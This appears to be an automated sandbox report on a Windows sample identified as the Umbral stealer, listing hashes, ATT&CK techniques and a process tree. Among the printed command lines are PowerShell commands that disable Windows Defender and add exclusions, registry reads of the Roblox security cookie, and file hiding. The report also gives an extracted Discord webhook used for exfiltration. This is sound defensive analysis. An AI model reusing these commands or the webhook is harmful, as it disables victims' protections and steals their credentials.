umbral | 7bef7c9f99847e7c368be124992565c4bcd089948d5b1ca1d1c46911c625a5b1

Resubmissions

01-12-2024 09:35

241201-lkjggsyqhy 10

01-12-2024 09:26

241201-ld8g2ayqdx 10

Analysis

max time kernel
12s
max time network
16s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
01-12-2024 09:26

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General

Target

gorebox.exe
Size

431KB
MD5

4522fc4ba239805a83c7209452595423
SHA1

1a57d4e9a57bc7ef167d01928afeeab07bbd25c5
SHA256

7bef7c9f99847e7c368be124992565c4bcd089948d5b1ca1d1c46911c625a5b1
SHA512

a60cca224cfa06659089682637493f968c7de035b3aabcfb224eda4e50873d0c2198f9797a5acf28b7e92ea71ff246aed616fd8ce56d787679f54b6bfcee31cd
SSDEEP

6144:DahOl8p0yN90QEvNIPbKK6lyO0YYO/2IKuaiTPH2g9mfCImdp2vg0FM:DiKty90tyTK5T0YYdIKoCgkfdmP

Score

10^/10

umbral discovery execution persistence spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1312707054921842768/isqncLMa7kda5iILpNOk1bl-iVzctRU9oXMRs4eMThSQUfAbARPXl6CGuwMfCK3fZjSE

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x002800000004519a-7.dat	family_umbral
behavioral1/memory/1092-10-0x000001E067790000-0x000001E0677DA000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3652	powershell.exe
8	powershell.exe
1856	powershell.exe
2560	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	gorerrrr.exe

Executes dropped EXE 2 IoCs

pid	Process
1460	GoreBox.exe
1092	gorerrrr.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	gorebox.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2112	cmd.exe
472	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1984	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
472	PING.EXE

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
3028	wmic.exe
3028	wmic.exe
3028	wmic.exe
3028	wmic.exe
1092	gorerrrr.exe
3652	powershell.exe
3652	powershell.exe
8	powershell.exe
8	powershell.exe
1856	powershell.exe
1856	powershell.exe
2032	powershell.exe
2032	powershell.exe
5092	wmic.exe
5092	wmic.exe
5092	wmic.exe
5092	wmic.exe
3780	wmic.exe
3780	wmic.exe
3780	wmic.exe
3780	wmic.exe
2808	wmic.exe
2808	wmic.exe
2808	wmic.exe
2808	wmic.exe
2560	powershell.exe
2560	powershell.exe
1984	wmic.exe
1984	wmic.exe
1984	wmic.exe
1984	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1092	gorerrrr.exe
Token: SeIncreaseQuotaPrivilege	3028	wmic.exe
Token: SeSecurityPrivilege	3028	wmic.exe
Token: SeTakeOwnershipPrivilege	3028	wmic.exe
Token: SeLoadDriverPrivilege	3028	wmic.exe
Token: SeSystemProfilePrivilege	3028	wmic.exe
Token: SeSystemtimePrivilege	3028	wmic.exe
Token: SeProfSingleProcessPrivilege	3028	wmic.exe
Token: SeIncBasePriorityPrivilege	3028	wmic.exe
Token: SeCreatePagefilePrivilege	3028	wmic.exe
Token: SeBackupPrivilege	3028	wmic.exe
Token: SeRestorePrivilege	3028	wmic.exe
Token: SeShutdownPrivilege	3028	wmic.exe
Token: SeDebugPrivilege	3028	wmic.exe
Token: SeSystemEnvironmentPrivilege	3028	wmic.exe
Token: SeRemoteShutdownPrivilege	3028	wmic.exe
Token: SeUndockPrivilege	3028	wmic.exe
Token: SeManageVolumePrivilege	3028	wmic.exe
Token: 33	3028	wmic.exe
Token: 34	3028	wmic.exe
Token: 35	3028	wmic.exe
Token: 36	3028	wmic.exe
Token: SeIncreaseQuotaPrivilege	3028	wmic.exe
Token: SeSecurityPrivilege	3028	wmic.exe
Token: SeTakeOwnershipPrivilege	3028	wmic.exe
Token: SeLoadDriverPrivilege	3028	wmic.exe
Token: SeSystemProfilePrivilege	3028	wmic.exe
Token: SeSystemtimePrivilege	3028	wmic.exe
Token: SeProfSingleProcessPrivilege	3028	wmic.exe
Token: SeIncBasePriorityPrivilege	3028	wmic.exe
Token: SeCreatePagefilePrivilege	3028	wmic.exe
Token: SeBackupPrivilege	3028	wmic.exe
Token: SeRestorePrivilege	3028	wmic.exe
Token: SeShutdownPrivilege	3028	wmic.exe
Token: SeDebugPrivilege	3028	wmic.exe
Token: SeSystemEnvironmentPrivilege	3028	wmic.exe
Token: SeRemoteShutdownPrivilege	3028	wmic.exe
Token: SeUndockPrivilege	3028	wmic.exe
Token: SeManageVolumePrivilege	3028	wmic.exe
Token: 33	3028	wmic.exe
Token: 34	3028	wmic.exe
Token: 35	3028	wmic.exe
Token: 36	3028	wmic.exe
Token: SeDebugPrivilege	3652	powershell.exe
Token: SeIncreaseQuotaPrivilege	3652	powershell.exe
Token: SeSecurityPrivilege	3652	powershell.exe
Token: SeTakeOwnershipPrivilege	3652	powershell.exe
Token: SeLoadDriverPrivilege	3652	powershell.exe
Token: SeSystemProfilePrivilege	3652	powershell.exe
Token: SeSystemtimePrivilege	3652	powershell.exe
Token: SeProfSingleProcessPrivilege	3652	powershell.exe
Token: SeIncBasePriorityPrivilege	3652	powershell.exe
Token: SeCreatePagefilePrivilege	3652	powershell.exe
Token: SeBackupPrivilege	3652	powershell.exe
Token: SeRestorePrivilege	3652	powershell.exe
Token: SeShutdownPrivilege	3652	powershell.exe
Token: SeDebugPrivilege	3652	powershell.exe
Token: SeSystemEnvironmentPrivilege	3652	powershell.exe
Token: SeRemoteShutdownPrivilege	3652	powershell.exe
Token: SeUndockPrivilege	3652	powershell.exe
Token: SeManageVolumePrivilege	3652	powershell.exe
Token: 33	3652	powershell.exe
Token: 34	3652	powershell.exe
Token: 35	3652	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 1460	4472	gorebox.exe	83
PID 4472 wrote to memory of 1460	4472	gorebox.exe	83
PID 4472 wrote to memory of 1092	4472	gorebox.exe	84
PID 4472 wrote to memory of 1092	4472	gorebox.exe	84
PID 1092 wrote to memory of 3028	1092	gorerrrr.exe	85
PID 1092 wrote to memory of 3028	1092	gorerrrr.exe	85
PID 1092 wrote to memory of 4812	1092	gorerrrr.exe	88
PID 1092 wrote to memory of 4812	1092	gorerrrr.exe	88
PID 1092 wrote to memory of 3652	1092	gorerrrr.exe	90
PID 1092 wrote to memory of 3652	1092	gorerrrr.exe	90
PID 1092 wrote to memory of 8	1092	gorerrrr.exe	93
PID 1092 wrote to memory of 8	1092	gorerrrr.exe	93
PID 1092 wrote to memory of 1856	1092	gorerrrr.exe	95
PID 1092 wrote to memory of 1856	1092	gorerrrr.exe	95
PID 1092 wrote to memory of 2032	1092	gorerrrr.exe	97
PID 1092 wrote to memory of 2032	1092	gorerrrr.exe	97
PID 1092 wrote to memory of 5092	1092	gorerrrr.exe	101
PID 1092 wrote to memory of 5092	1092	gorerrrr.exe	101
PID 1092 wrote to memory of 3780	1092	gorerrrr.exe	103
PID 1092 wrote to memory of 3780	1092	gorerrrr.exe	103
PID 1092 wrote to memory of 2808	1092	gorerrrr.exe	106
PID 1092 wrote to memory of 2808	1092	gorerrrr.exe	106
PID 1092 wrote to memory of 2560	1092	gorerrrr.exe	108
PID 1092 wrote to memory of 2560	1092	gorerrrr.exe	108
PID 1092 wrote to memory of 1984	1092	gorerrrr.exe	110
PID 1092 wrote to memory of 1984	1092	gorerrrr.exe	110
PID 1092 wrote to memory of 2112	1092	gorerrrr.exe	112
PID 1092 wrote to memory of 2112	1092	gorerrrr.exe	112
PID 2112 wrote to memory of 472	2112	cmd.exe	114
PID 2112 wrote to memory of 472	2112	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4812	attrib.exe

C:\Users\Admin\AppData\Local\Temp\gorebox.exe
"C:\Users\Admin\AppData\Local\Temp\gorebox.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe"
    3⤵
    - Views/modifies file attributes
    PID:4812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:8
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2032
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3780
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2560
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:1984
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60b3262c3163ee3d466199160b9ed07d

SHA1
994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

SHA256
e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

SHA512
081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c5863331e1077e9059593bb11af4e3ff

SHA1
eded7cd11db222a763960b502afd1ce758816af2

SHA256
91f6e903e52e2fd1583b34f7c288bcaba0327e458dfa805e982176962a4ff60a

SHA512
d93aa719ce89a25a73652d2163e2bf2a53b8b0579c3ce6f03b1d972aceac684e8cc22477ea7901f6d76b87d405e16621df2a612f5360d2aac63694d3f34a03fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
494de073067224860ddfa87f20c1fcd5

SHA1
139fe0d6cc741fdbb891b5e0df6e236fcdfdd7de

SHA256
5b67e54cbb8566db2c781ed86c2e026bef8e1c6e5b454c42872ffba7782a9579

SHA512
2457bb775ad7ce2b62b35f5cddfab1c1e1b16dcba83e38e7b5fb2e205048ffc5d220a29a9b0cfe218800d46fc3888480a0822877cf392aeadcf9287b784a390a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71942225419386ac509d153f679d4a68

SHA1
b2e1b1cba65e2a0b1b231a5a8b085e5b5294bbb3

SHA256
bc4f5ba67c4a53622f5618f2998a6c5c422daeea4a697f393d2a6667c4ab878b

SHA512
4195908338bee9870b0bbf29351b218a6e73da4d86073e148e128a0fa0269698ff1af0e1c4bc6b9ac3d2b2c4da23ead5acc6d0eb5c26a6095bf31b4491042912

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe

Filesize
651KB

MD5
5b23e32cdf5236587cf71ce4b5f001a6

SHA1
f9ab18bb610b5e999320e422f4fffd05ed08209a

SHA256
11cfef86247a1725b6ac0ad49bb40217d6758c2fae04041f7aa1b73c68795d72

SHA512
82859dc2637ec91af549cb402afafc1a2f09c73b7046eecaf81b366abd7b003f74f12b50b198ed79e49beb56f1117e2b9164d05bd9a650858db80075d39fee42

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\gorerrrr.exe

Filesize
272KB

MD5
e1b7b9efc6568dae97cc07ef9091a202

SHA1
ce3b24b39626d18e2f9098deb353519d31e8018d

SHA256
19877af49af352c9430fb6fb3fb08aabfc4692c0dcf225cd8d71f8503d01891e

SHA512
b79989e692e067953a83346d3fdf6e155b4f96dd27823c220a4e0e77cf599d46ea52fbd458e1b968255226bbd89e99c8e776b90a92663f311dd533e672cf6996

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5z3wz4h.5m3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1092-9-0x00007FFDA6A93000-0x00007FFDA6A95000-memory.dmp

Filesize
8KB

Download
memory/1092-37-0x000001E069ED0000-0x000001E069F46000-memory.dmp

Filesize
472KB

Download
memory/1092-38-0x000001E069F50000-0x000001E069FA0000-memory.dmp

Filesize
320KB

Download
memory/1092-39-0x000001E069E70000-0x000001E069E8E000-memory.dmp

Filesize
120KB

Download
memory/1092-10-0x000001E067790000-0x000001E0677DA000-memory.dmp

Filesize
296KB

Download
memory/1092-65-0x000001E069EB0000-0x000001E069EC2000-memory.dmp

Filesize
72KB

Download
memory/1092-64-0x000001E069E60000-0x000001E069E6A000-memory.dmp

Filesize
40KB

Download
memory/1092-11-0x00007FFDA6A90000-0x00007FFDA7552000-memory.dmp

Filesize
10.8MB

Download
memory/1092-85-0x00007FFDA6A90000-0x00007FFDA7552000-memory.dmp

Filesize
10.8MB

Download
memory/3652-12-0x000001E442090000-0x000001E4420B2000-memory.dmp

Filesize
136KB

Download